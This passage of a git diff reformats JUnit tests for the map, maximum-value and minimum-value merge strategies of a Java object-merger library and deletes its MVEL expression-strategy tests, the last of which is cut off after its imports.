= (Map) strategy.merge(sources, def, "mapField"); - assertNotNull(result); - - // Should contain keys from leader - assertTrue(result.containsKey("common")); - assertTrue(result.containsKey("leaderOnly")); - - // Should NOT contain keys that are only in follower - assertFalse( - result.containsKey("followerOnly"), "Should not contain keys only present in follower map"); - } - - @Test - @DisplayName("Should use first value as priority") - void testPriorityBehavior() { - Map map1 = new HashMap<>(); - map1.put("key1", "valueFromFirst"); - - Map map2 = new HashMap<>(); - map2.put("key1", "valueFromSecond"); - - TestObject obj1 = new TestObject(map1); - TestObject obj2 = new TestObject(map2); - - List> sources = - List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); - - @SuppressWarnings("unchecked") - Map result = - (Map) - strategy.merge( - sources, MapFieldDefinition.>builder().build(), "mapField"); - assertNotNull(result); - assertTrue(result.containsKey("key1")); - } - - @Test - @DisplayName("Should merge nested maps recursively if item definition is present") - void testRecursiveMapMerge() { - // Inner Maps (Values) - Map inner1 = new HashMap<>(); - inner1.put("v1", 1); - - Map inner2 = new HashMap<>(); - inner2.put("v2", 2); - - // Outer Maps (Sources for MapMergeStrategy) - Map outer1 = new HashMap<>(); - outer1.put("key1", inner1); - - Map outer2 = new HashMap<>(); - outer2.put("key1", inner2); - - // Wrapper for ObjectMerger.getFieldValue extraction - Map wrapper1 = new HashMap<>(); - wrapper1.put("root", outer1); - - Map wrapper2 = new HashMap<>(); - wrapper2.put("root", outer2); - - List> mergeSources = - List.of(new LabeledSource<>("s1", wrapper1), new LabeledSource<>("s2", wrapper2)); - - MapFieldDefinition> def = - MapFieldDefinition.>builder().build(); - - // Define how to merge the VALUES of the outer map (which are inner maps) - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - itemDef.setTargetClass(HashMap.class.getName()); - - // We must define the keys of the inner map we want to merge - StandardFieldDefinition stdDef = StandardFieldDefinition.builder().build(); - itemDef.setDefinitions(Map.of("v1", stdDef, "v2", stdDef)); - - def = MapFieldDefinition.>builder().itemMergeDefinition(itemDef).build(); - - @SuppressWarnings("unchecked") - Map result = - (Map) (Map) strategy.merge(mergeSources, def, "root"); - // Result should be the merged outer map - assertNotNull(result); - assertTrue(result.containsKey("key1"), "Result should have key1"); - - Object mergedInner = result.get("key1"); - assertNotNull(mergedInner); - assertTrue(mergedInner instanceof Map, "Inner value should be a map"); - - @SuppressWarnings("unchecked") - Map innerMap = (Map) mergedInner; - - // Check if inner values were merged based on definitions - assertTrue(innerMap.containsKey("v1")); - assertTrue(innerMap.containsKey("v2")); - assertEquals(1, (Integer) innerMap.get("v1")); - assertEquals(2, (Integer) innerMap.get("v2")); - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategyTest.java index 8c5f4bb..3feaaf8 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/maximum/MaximumValueStrategyTest.java @@ -22,181 +22,199 @@ @DisplayName("MaximumValueStrategy Tests") class MaximumValueStrategyTest { - private MaximumValueStrategy strategy; - private FieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new MaximumValueStrategy(); - fieldDef = mock(FieldDefinition.class); - } - - @Test - @DisplayName("Should return the maximum value from multiple sources") - void testMergeReturnsMaximumValue() { - // Arrange - String fieldName = "age"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - // Configure mock to return different age values - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(25); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(35); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(30); - - when(fieldDef.getDefaultValue()).thenReturn(0); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(35, result); - mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(any(), eq(fieldName)), times(3)); + private MaximumValueStrategy strategy; + private FieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new MaximumValueStrategy(); + fieldDef = mock(FieldDefinition.class); + } + + @Test + @DisplayName("Should return the maximum value from multiple sources") + void testMergeReturnsMaximumValue() { + // Arrange + String fieldName = "age"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + // Configure mock to return different age values + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(25); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(35); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(30); + + when(fieldDef.getDefaultValue()).thenReturn(0); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(35, result); + mockedObjectMerger.verify( + () -> ObjectMerger.getFieldValue(any(), eq(fieldName)), times(3)); + } + } + + @Test + @DisplayName("Should return default value when all values are null") + void testMergeReturnsDefaultValueWhenAllNull() { + // Arrange + String fieldName = "age"; + Object defaultValue = 18; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + // Configure mock to return null values + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(any(), eq(fieldName))) + .thenReturn(null); + + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(defaultValue, result); + } } - } - - @Test - @DisplayName("Should return default value when all values are null") - void testMergeReturnsDefaultValueWhenAllNull() { - // Arrange - String fieldName = "age"; - Object defaultValue = 18; - Object source1 = new Object(); - Object source2 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - // Configure mock to return null values - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(any(), eq(fieldName))) - .thenReturn(null); - - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(defaultValue, result); + + @Test + @DisplayName("Should filter null values and return maximum of non-null values") + void testMergeFiltersNullValues() { + // Arrange + String fieldName = "age"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + // Configure mock: null, 40, null + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(40); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(null); + + when(fieldDef.getDefaultValue()).thenReturn(0); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(40, result); + } } - } - - @Test - @DisplayName("Should filter null values and return maximum of non-null values") - void testMergeFiltersNullValues() { - // Arrange - String fieldName = "age"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - // Configure mock: null, 40, null - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(40); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) - .thenReturn(null); - - when(fieldDef.getDefaultValue()).thenReturn(0); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(40, result); + + @Test + @DisplayName("Should handle single source") + void testMergeWithSingleSource() { + // Arrange + String fieldName = "score"; + Object source1 = new Object(); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(100); + when(fieldDef.getDefaultValue()).thenReturn(0); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(100, result); + } } - } - @Test - @DisplayName("Should handle single source") - void testMergeWithSingleSource() { - // Arrange - String fieldName = "score"; - Object source1 = new Object(); - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + @Test + @DisplayName("Should return default value with empty sources") + void testMergeWithEmptySources() { + // Arrange + String fieldName = "age"; + List> sources = Arrays.asList(); + Object defaultValue = 21; - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(100); - when(fieldDef.getDefaultValue()).thenReturn(0); + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); - // Assert - assertEquals(100, result); + // Assert + assertEquals(defaultValue, result); } - } - - @Test - @DisplayName("Should return default value with empty sources") - void testMergeWithEmptySources() { - // Arrange - String fieldName = "age"; - List> sources = Arrays.asList(); - Object defaultValue = 21; - - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(defaultValue, result); - } - - @Test - @DisplayName("Should handle mixed null and non-null values") - void testMergeMixedValues() { - // Arrange - String fieldName = "value"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - Object source4 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("s1", source1), - new LabeledSource<>("s2", source2), - new LabeledSource<>("s3", source3), - new LabeledSource<>("s4", source4)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - // Configure: 10, null, 50, 30 - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(10); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(50); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source4, fieldName)).thenReturn(30); - - when(fieldDef.getDefaultValue()).thenReturn(0); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(50, result); + + @Test + @DisplayName("Should handle mixed null and non-null values") + void testMergeMixedValues() { + // Arrange + String fieldName = "value"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + Object source4 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("s1", source1), + new LabeledSource<>("s2", source2), + new LabeledSource<>("s3", source3), + new LabeledSource<>("s4", source4)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + // Configure: 10, null, 50, 30 + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(10); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(50); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source4, fieldName)) + .thenReturn(30); + + when(fieldDef.getDefaultValue()).thenReturn(0); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(50, result); + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategyTest.java index 15eb626..6ba7ff9 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/minimum/MinimumValueStrategyTest.java @@ -21,220 +21,247 @@ @DisplayName("MinimumValueStrategy Tests") class MinimumValueStrategyTest { - private MinimumValueStrategy strategy; - private FieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new MinimumValueStrategy(); - fieldDef = mock(FieldDefinition.class); - } - - @Test - @DisplayName("Should return the minimum value from multiple sources") - void testMergeReturnsMinimumValue() { - // Arrange - String fieldName = "price"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - // Configure mock to return different price values - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(100); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(50); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(75); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(50, result); // source2 has minimum value - mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source1, fieldName)); - mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source2, fieldName)); - mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source3, fieldName)); + private MinimumValueStrategy strategy; + private FieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new MinimumValueStrategy(); + fieldDef = mock(FieldDefinition.class); } - } - - @Test - @DisplayName("Should skip null values when finding minimum") - void testMergeSkipsNullValues() { - // Arrange - String fieldName = "rating"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(3); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(5); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(3, result); // source1 is null, minimum of [3, 5] is 3 + + @Test + @DisplayName("Should return the minimum value from multiple sources") + void testMergeReturnsMinimumValue() { + // Arrange + String fieldName = "price"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + // Configure mock to return different price values + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(100); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(50); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(75); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(50, result); // source2 has minimum value + mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source1, fieldName)); + mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source2, fieldName)); + mockedObjectMerger.verify(() -> ObjectMerger.getFieldValue(source3, fieldName)); + } } - } - - @Test - @DisplayName("Should return default value when all sources have null values") - void testMergeReturnsDefaultValueWhenAllNull() { - // Arrange - String fieldName = "discount"; - Object source1 = new Object(); - Object source2 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); - - Integer defaultValue = 0; - when(fieldDef.getDefaultValue()).thenReturn(defaultValue); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(null); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(0, result); + + @Test + @DisplayName("Should skip null values when finding minimum") + void testMergeSkipsNullValues() { + // Arrange + String fieldName = "rating"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(3); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(5); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(3, result); // source1 is null, minimum of [3, 5] is 3 + } + } + + @Test + @DisplayName("Should return default value when all sources have null values") + void testMergeReturnsDefaultValueWhenAllNull() { + // Arrange + String fieldName = "discount"; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + Integer defaultValue = 0; + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(0, result); + } } - } - @Test - @DisplayName("Should handle single value") - void testMergeWithSingleValue() { - // Arrange - String fieldName = "value"; - Object source1 = new Object(); + @Test + @DisplayName("Should handle single value") + void testMergeWithSingleValue() { + // Arrange + String fieldName = "value"; + Object source1 = new Object(); - List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(42); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(42); - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); - // Assert - assertEquals(42, result); // Minimum of single value is the value itself + // Assert + assertEquals(42, result); // Minimum of single value is the value itself + } } - } - - @Test - @DisplayName("Should handle negative numbers") - void testMergeWithNegativeNumbers() { - // Arrange - String fieldName = "temperature"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(-5); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(10); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(0); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(-5, result); // Minimum of [-5, 10, 0] is -5 + + @Test + @DisplayName("Should handle negative numbers") + void testMergeWithNegativeNumbers() { + // Arrange + String fieldName = "temperature"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(-5); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(10); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(0); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(-5, result); // Minimum of [-5, 10, 0] is -5 + } } - } - - @Test - @DisplayName("Should implement MergeStrategy interface correctly") - void testMergeStrategyInterface() { - // Arrange & Act & Assert - assertTrue(strategy instanceof MergeStrategy); - } - - @Test - @DisplayName("Should return minimum from mixed positive and negative") - void testMergeWithMixedValues() { - // Arrange - String fieldName = "balance"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(1000); - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) - .thenReturn(-500); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(200); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(-500, result); // Minimum of [1000, -500, 200] is -500 + + @Test + @DisplayName("Should implement MergeStrategy interface correctly") + void testMergeStrategyInterface() { + // Arrange & Act & Assert + assertTrue(strategy instanceof MergeStrategy); } - } - - @Test - @DisplayName("Should return zero as minimum when comparing [0, 100, 50]") - void testMergeWithZeroAsMinimum() { - // Arrange - String fieldName = "count"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(0); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(100); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(50); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(0, result); // Minimum of [0, 100, 50] is 0 + + @Test + @DisplayName("Should return minimum from mixed positive and negative") + void testMergeWithMixedValues() { + // Arrange + String fieldName = "balance"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(1000); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(-500); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(200); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(-500, result); // Minimum of [1000, -500, 200] is -500 + } + } + + @Test + @DisplayName("Should return zero as minimum when comparing [0, 100, 50]") + void testMergeWithZeroAsMinimum() { + // Arrange + String fieldName = "count"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(0); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(100); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(50); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(0, result); // Minimum of [0, 100, 50] is 0 + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java deleted file mode 100644 index 5667f72..0000000 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java +++ /dev/null @@ -1,49 +0,0 @@ -package de.x132.objectmerger.strategy.mvel; - -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertNull; - -import java.util.List; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.api.Test; - -class MvelFallbackTest { - - private final MvelMergeStrategy strategy = new MvelMergeStrategy(); - - @Test - @DisplayName("Should return default value when expression is empty") - void emptyExpressionReturnsDefault() { - MvelFieldDefinition fieldDef = MvelFieldDefinition.builder().defaultValue("fallback").build(); - - // Test null expression (default) - assertEquals("fallback", strategy.merge(List.of(), fieldDef, "test")); - - // Test empty expression - fieldDef.setExpression(""); - assertEquals("fallback", strategy.merge(List.of(), fieldDef, "test")); - } - - @Test - @DisplayName("Should return deafult value when expression fails") - void exceptionReturnsDefault() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder() - .expression( - "undefinedVar.callMethod()") // This will throw PropertyAccessException or similar - .defaultValue("fallback_on_error") - .build(); - - assertEquals("fallback_on_error", strategy.merge(List.of(), fieldDef, "test")); - } - - @Test - @DisplayName("Should return null if no default value is set and error occurs") - void noDefaultValueReturnsNullOnError() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder().expression("some_undefined_variable").build(); - // No defaultValue set (null by default) - - assertNull(strategy.merge(List.of(), fieldDef, "test")); - } -} diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java deleted file mode 100644 index 127c52f..0000000 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java +++ /dev/null @@ -1,70 +0,0 @@ -package de.x132.objectmerger.strategy.mvel; - -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertNull; - -import de.x132.objectmerger.LabeledSource; -import java.util.Arrays; -import java.util.List; -import org.junit.jupiter.api.DisplayName; -import org.junit.jupiter.api.Test; - -class MvelMergeStrategyTest { - - private final MvelMergeStrategy strategy = new MvelMergeStrategy(); - - @Test - @DisplayName("Should execute simple arithmetic expression") - void arithmeticExpression() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder().expression("sources['a'] + sources['b']").build(); - - List> sources = - Arrays.asList(new LabeledSource<>("a", 10), new LabeledSource<>("b", 20)); - - Object result = strategy.merge(sources, fieldDef, "testField"); - assertEquals(30, result); - } - - @Test - @DisplayName("Should execute conditional logic") - void conditionalLogic() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder() - .expression( - "if (sources['prio'] > 100) { return sources['prio']; } else { return sources['backup']; }") - .build(); - - // Case 1: Prio > 100 - List> sourcesHigh = - Arrays.asList(new LabeledSource<>("prio", 150), new LabeledSource<>("backup", 10)); - assertEquals(150, strategy.merge(sourcesHigh, fieldDef, "testField")); - - // Case 2: Prio <= 100 - List> sourcesLow = - Arrays.asList(new LabeledSource<>("prio", 50), new LabeledSource<>("backup", 10)); - assertEquals(10, strategy.merge(sourcesLow, fieldDef, "testField")); - } - - @Test - @DisplayName("Should return null for null/empty expression") - void emptyExpression() { - MvelFieldDefinition fieldDef = MvelFieldDefinition.builder().build(); - assertNull(strategy.merge(List.of(), fieldDef, "testField")); - - fieldDef.setExpression(""); - assertNull(strategy.merge(List.of(), fieldDef, "testField")); - } - - @Test - @DisplayName("Should handle missing sources gracefully (MVEL behavior)") - void missingSources() { - MvelFieldDefinition fieldDef = - MvelFieldDefinition.builder() - .expression("sources['missing'] == null ? 'not found' : 'found'") - .build(); - - List> sources = List.of(new LabeledSource<>("existing", 1)); - assertEquals("not found", strategy.merge(sources, fieldDef, "testField")); - } -} diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java deleted file mode 100644 index c7d5973..0000000 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java +++ /dev/null @@ -1,316 +0,0 @@ -package de.x132.objectmerger.strategy.mvel; - -import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertThrows; -import static org.junit.jupiter.api.Assertions.assertTrue; - -import de.x132.objectmerger.LabeledSource; -import java.util.Arrays; -import java.util.List; -import org.junit.jupiter.api.DisplayName; 